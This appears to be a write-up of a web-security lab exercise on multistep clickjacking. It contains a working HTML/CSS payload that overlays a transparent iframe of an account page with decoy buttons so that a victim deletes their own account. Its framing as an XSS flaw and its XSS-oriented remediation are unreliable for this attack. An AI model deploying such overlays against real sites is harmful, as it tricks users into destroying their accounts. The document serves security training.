SCENARIO

The application possesses a XSS vulnerability that is triggered by a click. We will try to craft some HTML that frames the account page and fools the user into deleting their account by clicking on some decoy website’s buttons but here in this case we need to add two buttons for the user to click in order to delete the account permanently.

**PROCEDURE**

1. Open the application and login using the given credentials to act as the target itself.
2. Now, as we studied in the article, we will try to craft a malicious HTML with some CSS which will come over the actual page and position itself onto the **Delete Account and Yes** button and will blur the original content.
3. Due to which the user will think that this is one of the steps of accessing their account and which will cause the user to click the malicious text appearing as a button and below it will be the account deletion buttons.
4. Go to the exploit server and paste the payload into the body tag of the exploit and click store and view the exploit in order to see if it’s working correctly.
5. At the end, deliver the exploit to the target.

**PAYLOAD**

<style>

iframe {

position:relative;

width:1000px;

height: 700px;

opacity: 0.1;

z-index: 2;

}

.firstClick, .secondClick {

position:absolute;

top:515px;

left:58px;

z-index: 1;

}

.secondClick {

top:310px;

left:200px;

}

</style>

<div class="firstClick">Click me first</div>

<div class="secondClick">Click me next</div>

<iframe src="https://0aab008c034f06b081a1707700a000c8.web-security-academy.net/my-account"></iframe>

**PROOF OF CONCEPT**

**REMEDIATION**

1. **Input Validation and Sanitization:** Ensure that every input field in the application, especially those vulnerable to the XSS attack, undergo rigorous validation and sanitization processes. Special characters or scripts should be neutralized or entirely stripped out, preventing malicious script execution.
2. **Content Security Policy (CSP) Implementation:** Implement a strong Content Security Policy (CSP) that blocks inline scripts. By doing so, even if an attacker manages to inject a script, the browser will block its execution based on the CSP rules, thwarting the XSS attack.
3. **Multi-Step Verification for Sensitive Actions:** For crucial actions like account deletion, always use a multi-step verification process. Implement CAPTCHA, two-factor authentication, or require password re-entry. This additional verification not only provides another layer of security but also offers users a second chance to reconsider or recognize malicious activity.